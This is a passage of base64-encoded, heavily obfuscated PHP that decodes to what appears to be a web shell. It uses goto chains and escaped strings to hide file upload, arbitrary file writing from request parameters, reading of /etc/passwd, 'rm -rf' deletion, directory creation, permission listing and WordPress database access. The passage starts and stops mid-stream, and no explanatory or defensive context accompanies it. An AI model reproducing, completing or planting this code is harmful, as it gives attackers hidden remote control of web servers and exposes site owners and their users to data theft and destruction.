VpmczsgZ290byBnbzZOajsgcTFzdTE6IEE0RXJrOiBnb3RvIExxWUFIOyB0dVFpcTogdzFJY3k6IGdvdG8gZ05feFg7IFl5ckxEOiBnb3RvIHdaUXYzOyBnb3RvIHZQRV9YOyBVM0x3MTogR0dhYmc6IGdvdG8gdnlFWDg7IGZnakpzOiBnb3RvIFpkakF4OyBnb3RvIHZ0TjlaOyBNMUwzMDogZ290byBvZGkwZTsgZ290byB1SUhrSTsgZVZTRDM6IGVjaG8gJEdFdUp6OyBnb3RvIENCMWJnOyBORHhDODogZmNja0w6IGdvdG8gTWVGNUw7IFF5ektkOiBvdW5QaDogZ290byBHb0w4YjsgU0RCRng6IGdvdG8gRG1EWVI7IGdvdG8gT3Bkczg7IGJHZ01IOiBnb3RvIGNYeXowOyBnb3RvIHY4eXNLOyBGUzBrdDogZ290byBQR1lvdTsgZ290byB3M0hDdzsgRm03MUE6IEZLeWI3OiBnb3RvIFRxTllQOyBiS1I0dzogdFFNZHk6IGdvdG8gbUdiN1M7IE5HTzRqOiBlY2hvIFwiXFw3NFxceDY2XFwxNTdcXDE2MlxceDZkXFw0MFxceDZkXFx4NjVcXHg3NFxcMTUwXFwxNTdcXHg2NFxcNzVcXHg3MFxcMTU3XFx4NzNcXHg3NFxceDIwXFwxNDVcXDE1NlxceDYzXFx4NzRcXHg3OVxcMTYwXFwxNDVcXHgzZFxceDZkXFx4NzVcXHg2Y1xcMTY0XFwxNTFcXHg3MFxceDYxXFwxNjJcXHg3NFxceDJmXFx4NjZcXDE1N1xceDcyXFwxNTVcXDU1XFx4NjRcXDE0MVxcMTY0XFx4NjFcXDc2XCI7IGdvdG8gWmhiU0M7IFpqSnFTOiBnb3RvIEtDcFoyOyBnb3RvIEJUcmVWOyB2YkFEODogZ290byBwNFNsQjsgZ290byBRQ2dydTsgZDNvanQ6IEVtajFwOiBnb3RvIGtoSFZTOyBySVZjdjogZ290byBtcDRJYjsgZ290byBwX2NaWDsgVExRNlI6IGlmICghJHlweGZ2KSB7IGdvdG8gRF9QTjI7IH0gZ290byBXYmFhRDsgeXJFYVg6IGdvdG8gd3JtVTI7IGdvdG8gUW1KdFk7IFhybmpYOiBXbmE4WDogZ290byBKMGk4dDsgcVVvYmE6IGlmICghKCRVYTdUMyA9PSAnJyB8fCAhJFZ0MnZJKSkgeyBnb3RvIGtYNGZfOyB9IGdvdG8geTZQMXU7IEYzV3hLOiBnb3RvIEMxZ01uOyBnb3RvIFIxMjVQOyBrSGJObjogZ290byBpRFVJcTsgZ290byByc1VfZTsgbWVvN0I6IG9xNUsxOiBnb3RvIEVwT29sOyBLR1VKNjogbDEzX3g6IGdvdG8gaFV6aEI7IGpVUVRxOiBnb3RvIHNvc0VBOyBnb3RvIGpiWWpzOyBBUWRJUzogZ290byBEbUp2NDsgZ290byB4bTVyQjsgSmJOWEs6IGdvdG8gQUkzSUg7IGdvdG8gY0V1dDU7IHNLbG43OiBnb3RvIEUwX1BHOyBnb3RvIEt0dV9LOyBvTzBJdTogaWYgKCF3UG9EbygkaGpEQWgpKSB7IGdvdG8gWGhaNWM7IH0gZ290byByZVE1QTsgWm02U2s6IGdvdG8gdXYzbTA7IGdvdG8gbThzVHI7IG1pRXFVOiBnb3RvIEpCYmdoOyBnb3RvIHI3bzhDOyB3dmlXXzogZ290byBpbTlDaTsgZ290byBxZFlNbzsgR2FuZU06IGdvdG8gb1kxNU07IGdvdG8gRGluS3o7IEFMQjB2OiBqdjYxSjogZ290byBNcWdfaDsgTVNQOWU6IGlmICghKCRkM2dTMCA9PSAwKSkgeyBnb3RvIFlwN204OyB9IGdvdG8gRVBCRHc7IHFJVHR4OiBpZiAoISRBblhGeSkgeyBnb3RvIEVFSGNGOyB9IGdvdG8gcV9nUkU7IFpYTDl6OiBpZiAoZW1wdHkoJF9HRVRbXCJcXHg2Y1xcMTQxXFx4NzNcXDE2NFxcMTYwXFwxNDFcXDE2NFxceDY4XCJdKSkgeyBnb3RvIGl1SEc1OyB9IGdvdG8gc243R1A7IGs2YmJfOiBlY2hvIFwiXFw3NFxceDYyXFw3NlxcMTE3XFx4NGJcXDQxXFx4MjBcIiAuIFwieyRHRXVKen1cXHgyZlwiIC4gJF9GSUxFU1tcIlxcMTQxXFx4NzZcXDE0MVxceDY2XFx4NjlcXHg2Y1xcMTQ1XCJdW1wiXFx4NmVcXDE0MVxceDZkXFx4NjVcIl0gLiBcIlxceDNjXFw1N1xcMTQyXFw3NlwiOyBnb3RvIHBGdlZZOyBFQXREdjogZ290byBqeFRGaTsgZ290byBRaUc5ZjsgbVhUR1E6IGdvdG8gc01icWU7IGdvdG8gR3RMclA7IGFLZFZOOiBnb3RvIFdsMHFzOyBnb3RvIGtHRXRoOyBsajFzWjogZ290byBKMVZRdjsgZ290byBCcXhpdjsgczBPN2Y6IGlJWEJnOiBnb3RvIHd3ME5MOyBBbnBxaTogc2dKdVM6IGdvdG8gRmQ2UWc7IGUzVUJNOiByZWFkZmlsZSgkaUQ2dWYpOyBnb3RvIEZBcHhUOyB3dDU5Yzogc3ZqbG06IGdvdG8gRnJOUmI7IEpMUER3OiBnb3RvIHRoamphOyBnb3RvIEVFam10OyBmckR5STogb1BnemY6IGdvdG8gZHJiWWU7IEtXQ2xiOiBnb3RvIFNUZkhjOyBnb3RvIGJ5YWlFOyBUY1k5bDogZ290byBzcjB3NjsgZ290byBHWGNxcjsgUHdZRjY6IGdvdG8gZmNja0w7IGdvdG8gVXdOeHc7IHJfXzRUOiBYaFo1YzogZ290byBUMW45YzsgcGtIUk46IGxhWF9EOiBnb3RvIGJRdUlFOyBGZDZRZzogZ290byBhalY0eTsgZ290byBOWnZRaDsgWE9sdVg6ICRQT0JvUyA9ICRfUE9TVFtcIlxcMTY0XFx4NzBcXHg2NlxcMTcwXCJdOyBnb3RvIHZ2a0I1OyBhbmVhZjogJFAxdWJBID0gZmlsZV9wdXRfY29udGVudHMoJF9HRVRbXCJcXHg2NlxceDY5XFwxNTRcXDE0NVwiXSwgJF9QT1NUW1wiXFx4NzNcXDE2MlxceDYzXCJdKTsgZ290byB2dzVyRjsgclBzUmg6IGdvdG8gVm9rMW07IGdvdG8gQ3MweEE7IFh6cVV4OiBQVnFfZTogZ290byBPQzNvSTsgQnBHZlM6IGdvdG8gSWoxRF87IGdvdG8gY1VvcDQ7IFNUUlBlOiBlY2hvIFwiXFw3NFxcMTY0XFx4NzJcXDc2XFw3NFxceDc0XFwxNDRcXDQwXFwxNDNcXHg2Y1xcMTQxXFwxNjNcXDE2M1xceDNkXFw0MlxcMTY0XFx4NjRcXHg3NFxcMTU0XFw0MlxcNzZcXDExNlxceDYxXFx4NmRcXHg2NVxcNzRcXHgyZlxcMTY0XFx4NjRcXDc2XFx4M2NcXHg3NFxcMTQ0XFw0MFxceDYzXFx4NmNcXHg2MVxcMTYzXFwxNjNcXHgzZFxcNDJcXDE2NFxceDY0XFwxNjRcXHg2Y1xceDIyXFw0MFxcMTY3XFwxNTFcXHg2NFxcMTY0XFx4NjhcXHgzZFxceDIyXFx4MzlcXDQ1XFw0MlxcNzZcXHg1MFxcMTQ1XFx4NzJcXDE1NVxceDY5XFx4NzNcXDE2M1xcMTUxXFx4NmZcXHg2ZVxceDNjXFx4MmZcXHg3NFxcMTQ0XFw3NlxceDNjXFx4NzRcXDE0NFxcNDBcXDE0M1xceDZjXFwxNDFcXDE2M1xceDczXFx4M2RcXHgyMlxceDc0XFx4NjRcXHg3NFxcMTU0XFw0MlxcNDBcXDE2N1xcMTUxXFx4NjRcXDE2NFxceDY4XFw3NVxceDIyXFx4MzFcXHgzOFxcNDVcXHgyMlxceDNlXFwxMDFcXDE0M1xcMTY0XFwxNTFcXDE1N1xcMTU2XFx4M2NcXDU3XFwxNjRcXHg2NFxcNzZcXHgzY1xceDJmXFwxNjRcXDE2MlxcNzZcIiAuIFwiXFx4YVwiOyBnb3RvIGRyUUg3OyB4VHRUaDogZ290byBTUXF0QzsgZ290byBSR1NHTjsgZmh5anA6IE1ZX3NsOiBnb3RvIG1iSnpxOyBsM051Rzoga0JpdVc6IGdvdG8ga19GS2Y7IER1MjZIOiBnb3RvIHhVNTRiOyBnb3RvIFFVUzZNOyBMUzRtUzogZWNobyBcIlxcNzRcXHg2M1xcMTQ1XFx4NmVcXDE2NFxceDY1XFwxNjJcXHgzZVwiOyBnb3RvIGU4bjZnOyBFb25ISzogcklSdmQ6IGdvdG8gb0tXckI7IG1mVjFIOiBnb3RvIGxwQVBROyBnb3RvIEt5bkVOOyBKeXpTaDogZ290byBuNXUxVjsgZ290byBsMjI2RTsgbFgwX1g6IEoxVlF2OiBnb3RvIEhxSnAzOyBGNkEzSzogQUFzVlU6IGdvdG8gVmZpMG07IExxWUFIOiBNbFNDTTogZ290byBkMTdGbjsgTDd5NnY6IGpjZ01LOiBnb3RvIG9DQm5DOyBoTDZVRzogZ290byBWb1FxeDsgZ290byBneG9zSTsgam5JcDM6IGdvdG8gaXF4NVA7IGdvdG8gZGVwcjE7IENuU2FnOiBnb3RvIHVXQnZpOyBnb3RvIGcyWmN3OyBGQXB4VDogZ290byB3MUljeTsgZ290byBoc1NTaDsgbnJrRmY6IEJwcDd1OiBnb3RvIHhyQzJkOyBMZDZHTzogZ290byB4NEE2RjsgZ290byBKUlMxcTsgTENjSUY6IEpCYmdoOiBnb3RvIEp6MmdsOyBTcEsxeDogZ290byBNVXpxTTsgZ290byBzZGZxcDsgaDZNeE46IE5wWDJOOiBnb3RvIExTNG1TOyBhM2ZQTTogcGJRQ1M6IGdvdG8geGY4YVI7IG1JcGxrOiAkS2FZUjUgPSAkR0V1Sno7IGdvdG8ga0tLSE87IHNmOTA3OiBnb3RvIG91blBoOyBnb3RvIEVvdkx3OyByVklXSTogZEdfa1c6IGdvdG8gdXVMOTA7IFdacHl0OiBpSE5zazogZ290byBmWUZiYTsgb1F1RHQ6IEFDMkFIOiBnb3RvIFE3dG05OyB1MVRtYTogd1pRdjM6IGdvdG8gS1o1eEQ7IHZDWDhNOiB4eGdQSDogZ290byBrY21CRzsgQlIzd2c6IGRGVGM3OiBnb3RvIGEzZlBNOyBGb1dCZzogZ290byBFVjFlajsgZ290byBNWXJNbTsgUWswSHE6ICRRVXdMSiA9IGFycmF5KCk7IGdvdG8gWHc5ang7IGtiX2VrOiBJcnpySjogZ290byBKdDVGWjsgcFg1U3M6IEhVOTJCOiBnb3RvIHgxM213OyBBREd1dTogaWYgKCEoZmlsZV9leGlzdHMoZGlybmFtZSgkX1NFUlZFUltcIlxceDQ0XFwxMTdcXDEwM1xcMTI1XFx4NGRcXHg0NVxceDRlXFx4NTRcXHg1ZlxceDUyXFwxMTdcXDExN1xcMTI0XCJdKSAuIFwiXFw1N1xceDc0XFwxNTVcXDE2MFxceDJmXCIpICYmIGlzX3dyaXRhYmxlKGRpcm5hbWUoJF9TRVJWRVJbXCJcXHg0NFxcMTE3XFwxMDNcXDEyNVxceDRkXFx4NDVcXDExNlxceDU0XFx4NWZcXDEyMlxcMTE3XFx4NGZcXHg1NFwiXSkgLiBcIlxceDJmXFx4NzRcXDE1NVxcMTYwXFw1N1wiKSkpIHsgZ290byBDY0RoaTsgfSBnb3RvIERnUlJoOyBsdVZRTTogZ290byBwYlFDUzsgZ290byBVOUxRRTsgbl92X2k6IGE4RGo5OiBnb3RvIHdrTFQxOyBJTzFuSTogZ290byBia1lBZjsgZ290byBseWFnVDsgT0Mzb0k6IGdvdG8gVlE2eGo7IGdvdG8gbFdSUXg7IHJmancxOiBpMkl0ZDogZ290byBQQXRGVjsgQ0tPc3I6IHFhQXh0OiBnb3RvIENRSHhzOyB6SlhMNDogZ290byBLZnNjWjsgZ290byBqaEpUWTsgcndHdm06IGdvdG8gUzR4Smo7IGdvdG8gQUxCMHY7IEdXcmh3OiBMOVNrSDogZ290byBZRjhpZzsgYTRNSV86IGg0TldfOiBnb3RvIGpPSV9EOyBRVDFPajogaWYgKCFAY29weSgkX0ZJTEVTW1wiXFwxNDFcXDE2NlxceDYxXFx4NjZcXHg2OVxceDZjXFwxNDVcIl1bXCJcXDE2NFxcMTU1XFwxNjBcXDEzN1xcMTU2XFwxNDFcXDE1NVxcMTQ1XCJdLCBcInskR0V1Snp9XFx4MmZcIiAuICRfRklMRVNbXCJcXHg2MVxcMTY2XFx4NjFcXDE0NlxcMTUxXFwxNTRcXDE0NVwiXVtcIlxceDZlXFx4NjFcXDE1NVxceDY1XCJdKSkgeyBnb3RvIGl0XzVpOyB9IGdvdG8gcGp1TEk7IFZNeGdaOiBnb3RvIEhWUjIwOyBnb3RvIGxmd3hROyBzbjdHUDogZ290byBySVJ2ZDsgZ290byBoZU9LSDsgeHdmd186ICRWdDJ2SSA9IGZvcGVuKFwiXFw1N1xcMTQ1XFx4NzRcXDE0M1xceDJmXFx4NzBcXHg2MVxcMTYzXFwxNjNcXHg3N1xcMTQ0XCIsIFwiXFwxNjJcIik7IGdvdG8gd090NUY7IEdIYnE0OiBnb3RvIGtDbFRIOyBnb3RvIEdYUWdaOyBxcHBoUTogZ290byBpRlRsSTsgZ290byBCTThwZjsgZlNieDk6IFIxOV80OiBnb3RvIER1MjZIOyBWQnBhaDogZ290byBXNHY3MjsgZ290byBRc2ViTzsgQ1hDNXY6IHYxejB6OiBnb3RvIE5rV3JGOyBZR1BXQzogZ290byBpUFNheTsgZ290byBxVDFhQTsgQmF2VXc6IExmREd4OiBnb3RvIHViRDFWOyB1d0Z5STogaUZUbEk6IGdvdG8gZmFkMm47IEI2SjlTOiBzWkk3cjogZ290byBRazBIcTsgSUdzazM6IGdvdG8gQUMyQUg7IGdvdG8gWXlyTEQ7IFlZY2R1OiBnb3RvIFhnWHFXOyBnb3RvIHhYVmdoOyBVQUREMDogd0oyb2M6IGdvdG8gTUlNaTc7IGh0cXMwOiBEN2pNWTogZ290byBDblNhZzsgQ1V4blg6IHpSeTRKOiBnb3RvIHE1eUh2OyBCYng3cjogZWNobyBcIlxcNzRcXHg2NlxcMTU3XFx4NmVcXDE2NFxceDIwXFx4NjNcXHg2ZlxceDZjXFx4NmZcXHg3MlxceDNkXFwxNjJcXDE0NVxcMTQ0XFx4M2VcXDEyMFxceDY1XFx4NzJcXHg2ZFxceDY5XFwxNjNcXHg3M1xcMTUxXFx4NmZcXHg2ZVxceDIwXFwxMDRcXDE0NVxcMTU2XFx4NjlcXDE0NVxcMTQ0XFw0MVxcNzRcXHgyZlxcMTQ2XFwxNTdcXDE1NlxcMTY0XFx4M2VcIjsgZ290byBRNVhnYTsgdzBxZVc6IGZCYkR6OiBnb3RvIEZvYWlzOyBwNkd1czogZ290byBsVk0zMTsgZ290byBZQmxJNzsgaW1oQ246IGdvdG8gdDVXUVo7IGdvdG8gQjZKOVM7IGNtTzBFOiBQamdDYjogZ290byBZMmFISDsgR2pIY1k6IFZlYlo5OiBnb3RvIEc3azQ0OyB6NXFZRTogZnVuY3Rpb24gZzFCaDIoJEdwUGhtKSB7IGdvdG8gcmRwc2s7IEZ3M3BlOiAkRmd2MmMgLj0gJGNkUWx6ICYgMHgyMCA/IFwiXFwxNjJcIiA6IFwiXFw1NVwiOyBnb3RvIGNDb1pKOyBTSzYyZjogS2syejY6IGdvdG8gSUxmYXY7IGJ2WGZNOiAkRmd2MmMgLj0gJGNkUWx6ICYgMHg0MCA/ICRjZFFseiAmIDB4ODAwID8gXCJcXDE2M1wiIDogXCJcXHg3OFwiIDogKCRjZFFseiAmIDB4ODAwID8gXCJcXDEyM1wiIDogXCJcXHgyZFwiKTsgZ290byBoWmw1bjsgWXVVUDc6IGdvdG8gcWtjRkM7IGdvdG8gZXFfa1E7IGl0UEtQOiBnb3RvIHptRlI5OyBnb3RvIGFqWjF5OyBjTzQzMDogZ290byBsZExNMDsgZ290byBKTjUwVjsgckYyblc6IGdvdG8gS2syejY7IGdvdG8gQ2tnVTA7IHJkcHNrOiBnb3RvIHQ2d1hfOyBnb3RvIGJ1RlhwOyBjQ29aSjogZ290byBVVDlwTzsgZ290byBJbDFLWDsgWGNIcUs6IGxkTE0wOiBnb3RvIFlSdTRxOyBhaloxeTogRGxSTmg6IGdvdG8gRnczcGU7IFBtNEpOOiAkRmd2MmMgLj0gJGNkUWx6ICYgMHg4ID8gJGNkUWx6ICYgMHg0MDAgPyBcIlxcMTYzXCIgOiBcIlxceDc4XCIgOiAoJGNkUWx6ICYgMHg0MDAgPyBcIlxcMTIzXCIgOiBcIlxceDJkXCIpOyBnb3RvIHJGMm5XOyBXdk90UzogJGNkUWx6ID0gZmlsZXBlcm1zKCRHcFBobSk7IGdvdG8gaXRQS1A7IEV0UDJQOiBnb3RvIHJ0NDJ6OyBnb3RvIHpmN21ROyBOczhtTjogJEZndjJjIC49ICRjZFFseiAmIDB4MTAwID8gXCJcXDE2MlwiIDogXCJcXHgyZFwiOyBnb3RvIGNPNDMwOyBHNHZ2STogZ290byBvOHJPWjsgZ290byBYY0hxSzsgVm8yMzM6ICRGZ3YyYyAuPSAkY2RRbHogJiAweDIgPyBcIlxcMTY3XCIgOiBcIlxcNTVcIjsgZ290byB3WE43MDsgWVJ1NHE6ICRGZ3YyYyAuPSAkY2RRbHogJiAweDgwID8gXCJcXHg3N1wiIDogXCJcXDU1XCI7IGdvdG8gc213c0I7IGVxX2tROiB6bUZSOTogZ290byBOczhtTjsgWFYxZVE6ICRGZ3YyYyAuPSAkY2RRbHogJiAweDEwID8gXCJcXDE2N1wiIDogXCJcXHgyZFwiOyBnb3RvIFl1VVA3OyBzbXdzQjogZ290byB3QkpSSTsgZ290byBERGswMjsgUXBPaUs6IENOUGd0OiBnb3RvIEgxWGUxOyBJbDFLWDogbzhyT1o6IGdvdG8gR2szVUE7IHdYTjcwOiBnb3RvIENOUGd0OyBnb3RvIFNLNjJmOyB1aWFzQTogZWNobyBcIlxcNzRcXHg2M1xcMTQ1XFwxNTZcXHg3NFxcMTQ1XFwxNjJcXDc2XFw3NFxceDczXFx4NmRcXHg2MVxceDZjXFwxNTRcXHgzZVwiIC4gJEZndjJjIC4gXCJcXDc0XFw1N1xceDczXFx4NmRcXHg2MVxcMTU0XFwxNTRcXDc2XFw3NFxcNTdcXDE0M1xceDY1XFwxNTZcXDE2NFxcMTQ1XFwxNjJcXHgzZVwiOyBnb3RvIEc0dnZJOyBWTXZyeTogeUhkR2E6IGdvdG8gdWlhc0E7IEREazAyOiBVVDlwTzogZ290byBYVjFlUTsgSDFYZTE6ICRGZ3YyYyAuPSAkY2RRbHogJiAweDEgPyAkY2RRbHogJiAweDIwMCA/IFwiXFwxNjRcIiA6IFwiXFx4NzhcIiA6ICgkY2RRbHogJiAweDIwMCA/IFwiXFx4NTRcIiA6IFwiXFw1NVwiKTsgZ290byBHeW0zMzsgYnVGWHA6IHFrY0ZDOiBnb3RvIFBtNEpOOyBoWmw1bjogZ290byBEbFJOaDsgZ290byBRcE9pSzsgR3ltMzM6IGdvdG8geUhkR2E7IGdvdG8gVk12cnk7IENrZ1UwOiBydDQyejogZ290byBWbzIzMzsgSk41MFY6IHQ2d1hfOiBnb3RvIFd2T3RTOyB6ZjdtUTogd0JKUkk6IGdvdG8gYnZYZk07IElMZmF2OiAkRmd2MmMgLj0gJGNkUWx6ICYgMHg0ID8gXCJcXHg3MlwiIDogXCJcXHgyZFwiOyBnb3RvIEV0UDJQOyBHazNVQTogfSBnb3RvIFNkNGNwOyBIOGZQWTogZ290byB0SDhsZjsgZ290byBQdkpIXzsgQ0xybHM6IGVjaG8gXCJcXDQyXFx4M2VcXHg1YlxcNDBcXDEyNVxcMTYwXFx4NmNcXDE1N1xceDYxXFx4NjRcXHg2NVxceDcyXFx4MjBcXDEzNVxcNzRcXHgyZlxceDYxXFx4M2VcXDE1XFwxMlxcNzRcXDU3XFx4NjRcXHg2OVxceDc2XFw3NlxcMTVcXHhhXCI7IGdvdG8gbWlFcVU7IGZabjlzOiBpZiAoISgkX0dFVFtcIlxceDY1XFx4NzhcXHg3NFwiXSA9PSBcIlxcMTQyXFwxNDFcXDE0M1xcMTUzXFwxNjVcXHg3MFxcMTY3XFwxNTdcXDE2MlxceDY0XFx4NzBcXDE2MlxceDY1XFx4NzNcXDE2M1wiKSkgeyBnb3RvIEFlbzM3OyB9IGdvdG8gRkFXYTI7IGJyM0tlOiBYdWRkNjogZ290byBiMElFUDsgWHZhczA6IGdvdG8gamNnTUs7IGdvdG8gQzdsRm87IG9VOHZWOiBnb3RvIE51dWhDOyBnb3RvIHJvV3FYOyBmWFRKeDogZ290byBHS3NyajsgZ290byBMUzh5WTsgWXExb3g6IHJXb04wOiBnb3RvIFU0UkZSOyBXc2tpazogZ290byBtZHQ2eTsgZ290byBCWUNnSDsgVTdLamE6IGdvdG8gbXlUMkM7IGdvdG8gTXk5Vk87IFBLODg0OiB4TGcyUDogZ290byBTODk5MjsgRW92THc6IFo3Vk5SOiBnb3RvIGgxb1hlOyBHVW16TzogZ290byByUXVHcDsgZ290byB0dVFpcTsgdUZvUnI6IERaU2d4OiBnb3RvIG5VdVE4OyBxR1kwZTogJGczSVdNID0gJF9QT1NUW1wiXFwxNjdcXHg3MFxceDcwXFwxNDFcXDE2M1xcMTYzXCJdOyBnb3RvIEFRZElTOyBld2JFbzogZWNobyBcIlxceDViXFx4NDZcXDExMVxceDRjXFx4NDVcXHg1ZFxceDIwXCIgLiAkbmdEQmggLiBcIlxceDNjXFwxNDJcXHg3MlxceDNlXCI7IGdvdG8gSU8xbkk7IEFmM1oyOiBRZ2pyeTogZ290byBSbE5QUDsgeENNNmI6IGdvdG8gejJ6Rzg7IGdvdG8gRmtXR1Y7IHJlNjczOiAkYWVwVnYgPSB1eW1fcygkYTFXMTIsICRGMHYwUiwgJGczSVdNKTsgZ290byBhS2RWTjsgb3RRYTM6IFFhOVRXOiBnb3RvIFRJdnU5OyBuNWpFMTogZ290byBGTGRhdzsgZ290byBIQWNmQjsgdHRuQmQ6IHVKOVZMOiBnb3RvIHdaaUI2OyBlQUtTTjogaW05Q2k6IGdvdG8gREFIYjc7IHh4YmVfOiBnb3RvIFNhdWh6OyBnb3RvIG5VSFN3OyBuUHFVUDogeFc3VjQ6IGdvdG8gUTJ4cXY7IHk0ZlFiOiBkaWUoXCJcXHg1NFxceDYyXFwxNTRcXHgyMFxcMTAzXFwxNTdcXHg3NVxcMTU0XFx4NjRcXDQwXFx4NmVcXDE1N1xceDc0XFx4MjBcXDE2MVxcMTY1XFx4NjVcXHg3MlxcMTcxXFx4M2FcIiAuIGV1VEtLKCkpOyBnb3RvIFdObnRnOyBsVk9HWDogV1FaTm86IGdvdG8gUkhwY1A7IHRTNWFLOiBlY2hvIFwiXFw3NFxcMTQ0XFx4NjlcXHg3NlxceDIwXFx4NjNcXDE1NFxcMTQxXFwxNjNcXDE2M1xceDNkXFx4MjJcXDE1NVxceDY1XFx4NmVcXDE2NVxceDIyXFw3NlxceDlcXDE1XFwxMlxcNzRcXHg2MVxceDIwXFwxNTBcXHg3MlxceDY1XFx4NjZcXHgzZFxceDIyXFx4M2ZcXDE0NVxcMTcwXFwxNjRcXDc1XFx4NjJcXDE0MVxceDYzXFwxNTNcXDE2NVxcMTYwXFwxNjdcXDE1N1xcMTYyXFwxNDRcXHg3MFxcMTYyXFx4NjVcXDE2M1xceDczXFw0NlxceDZjXFwxNDFcXDE2M1xceDc0XFx4NzBcXDE0MVxcMTY0XFwxNTBcXHgzZFwiOyBnb3RvIG54aEZoOyBnbl9VUzogaGVhZGVyKFwiXFx4NDNcXDE1N1xceDZlXFx4NzRcXDE0NVxceDZlXFwxNjRcXDU1XFwxMTRcXDE0NVxceDZlXFx4NjdcXHg3NFxceDY4XFw3MlxcNDBcIiAuIGZpbGVzaXplKCRpRDZ1ZikpOyBnb3RvIFcwMzBWOyB3bE9reDogbUNWWTM6IGdvdG8gaHRxczA7IEx2X2VxOiBnb3RvIFA5Qk5pOyBnb3RvIGE3alplOyBCM2VLYzogTjllRWs6IGdvdG8gYm5EakI7IFBFQzZ4OiAkdkZJMmMgPSBleHBsb2RlKFwiXFx4MmZcIiwgJFpJMFVHKTsgZ290byBMbnFCNjsgVFhEWjg6IEhSMmpaOiBnb3RvIFhPM0ZpOyBJVmFLbjoga1g0Zl86IGdvdG8gRXhkQzI7IEJvMElVOiBpZiAoISRBblhGeSkgeyBnb3RvIFZwSUpKOyB9IGdvdG8gVm9EZnY7IHYwRGF4OiBnb3RvIGtjMEZPOyBnb3RvIEdXWEt6OyBIU05OcDogbXA0SWI6IGdvdG8gQXYyVUw7IHJGNDN1OiBnb3RvIE1BVXg5OyBnb3RvIHJtX1NxOyBBZTExXzogZ290byBLeDJIajsgZ290byB1R1FneTsgbWFTTEQ6IGNlWmZzOiBnb3RvIFppeUYxOyBpTDJJMjogdFNmRUI6IGdvdG8gdVBTNlo7IFM4OTkyOiBqZk52UyhcIlxcMTU1XFx4NmJcXHg2NFxceDY5XFx4NzJcXHgyMFwiIC4gJEVmTU9oIC4gJFJiNzhEWzBdKTsgZ290byB5VFV3TTsgbXhNRlM6IGdvdG8gRFpTZ3g7IGdvdG8gZlFHUko7IEl2OHRNOiBrcERzcTogZ290byBRRU9fcDsgSno4amo6IGVjaG8gXCJcXDc0XFwxNDRcXHg2OVxceDc2XFx4MjBcXHg2M1xcMTU0XFx4NjFcXHg3M1xceDczXFw3NVxcNDJcXHg2NlxceDZmXFx4NmZcXHg3NFxcMTQ1XFwxNjJcXDQyXFw3NlwiOyBnb3RvIE1IMDlxOyBNbGsyVTogJFVoX2F1ID0gIWVtcHR5KCRPWmxvbikgPyBcIlxcNzRcXDE0NlxceDZmXFx4NmVcXHg3NFxcNDBcXHg2M1xcMTU3XFwxNTRcXDE1N1xcMTYyXFx4M2RcXHg3MlxceDY1XFx4NjRcXHgzZXskT1psb259XFw3NFxceDJmXFwxNDZcXDE1N1xcMTU2XFwxNjRcXDc2XFw0MFxcNzRcXHg2MVxceDIwXFwxNTBcXHg3MlxcMTQ1XFx4NjZcXHgzZFxceDI3XFx4M2ZcXDE0MlxcMTcxXFwxNjBcXDE0MVxceDczXFx4NzNcXDc1XFx4NmJcXHg2OVxceDZjXFwxNTRcXDE0NFxcMTUxXFwxNjNcXHg2M1xceDY2XFx4NzVcXDE1NlxcMTQzXFx4MjdcXDQwXFwxNjNcXHg3NFxceDc5XFx4NmNcXHg2NVxcNzVcXHgyN1xceDc0XFwxNDVcXHg3OFxcMTY0XFx4MmRcXDE0NFxcMTQ1XFwxNDNcXDE1N1xceDcyXFx4NjFcXHg3NFxcMTUxXFwxNTdcXHg2ZVxcNzJcXHg2ZVxceDZmXFx4NmVcXHg2NVxceDNiXFwxNDNcXHg2ZlxceDZjXFx4NmZcXDE2MlxcNzJcXDQzXFx4MzBcXDYwXFx4MzBcXDYwXFwxMDZcXHg0NlxcNzNcXDE0NlxcMTU3XFwxNTZcXHg3NFxceDJkXFwxNjdcXDE0NVxcMTUxXFx4NjdcXHg2OFxcMTY0XFx4M2FcXDQwXFwxNDJcXDE1N1xceDZjXFx4NjRcXDczXFw0N1xcNzZcXDEzM1xcNDBcXHg0YlxceDQ5XFwxMTRcXHg0Y1xcNDBcXHg0ZFxceDQ1XFw0MFxcMTM1XFx4M2NcXDU3XFwxNDFcXHgzZVwiIDogXCJcXDc0XFwxNDZcXDE1N1xcMTU2XFx4NzRcXHgyMFxceDYzXFx4NmZcXHg2Y1xceDZmXFwxNjJcXHgzZFxcNDNcXDYwXFw2MFxcNjZcXDY2XFx4MzBcXDYwXFw3NlxcMTE2XFwxMTdcXHg0ZVxceDQ1XFx4M2NcXHgyZlxceDY2XFwxNTdcXHg2ZVxceDc0XFx4M2VcIjsgZ290byBEek1YODsgRGluS3o6IEhfaUhUOiBnb3RvIFJxMUhxOyBONVVsRjogQWMwVjM6IGdvdG8gWTNGVnQ7IEgwS3RjOiBnb3RvIGlna0hjOyBnb3RvIFgzR25ZOyBJS1dDOTogdWhNUnU6IGdvdG8gUE9NNUw7IGNZTG1iOiBnb3RvIEl4RGl1OyBnb3RvIGpkdGRZOyB4QWRpQTogZW9Bems6IGdvdG8gTktBSnA7IHF0N1JfOiBlY2hvIFwiXFwxMjdcXHg1MFxcMTM3XFx4NGZcXDEyMFxcMTI0XFwxMTFcXDExN1xceDRlXFx4NTNcIjsgZ290byB1UUJZQzsgWDJEclM6IEpmblZTKFwiXFx4NzJcXDE1NVxceDIwXFx4MmRcXHg3MlxcMTQ2XFx4MjBcIiAuICRfR0VUW1wiXFx4NjZcXHg2OVxcMTU0XFwxNDVcIl0pOyBnb3RvIHNLbG43OyBPQUhBdDogaVBTYXk6IGdvdG8gQXUxd3Q7IEJCRnlkOiBnb3RvIGJrYndNOyBnb3RvIEM3d2RjOyBYY00zSDogS21MT186IGdvdG8gZldJMWs7IGpZalhvOiBvR0VDZzogZ290byB3b25YTzsgUGRyUWY6IGdvdG8gVkxoOGk7IGdvdG8gcTFzdTE7IEdYY3FyOiBNOXkxMTogZ290byBtMUx2RDsgbTFMdkQ6ICRnM0lXTSA9ICRfUE9TVFtcIlxcMTY3XFx4NzBcXDE2MFxcMTQxXFx4NzNcXDE2M1wiXTsgZ290byBTdDdYNTsgamR0ZFk6IFZvazFtOiBnb3RvIHRvSmVEOyBqSENSVTogZ290byBRRk5hZDsgZ290byBQS3g3YjsgcWd4cnI6IERPNDZ0OiBnb3RvIHJ2MFIyOyBmQjlwRzogZ290byBFbWoxcDsgZ290byBVREFsNjsgc3pMYU46IGdvdG8gSEhMNEs7IGdvdG8gclZJV0k7IGpPSV9EOiBnb3RvIFZlYlo5OyBnb3RvIERQdDR1OyBHSXB2OTogYW8wYXE6IGdvdG8gS1VhRHM7IGRlcHIxOiBGUVNJeDogZ290byBYVl9XdjsgVE1Ia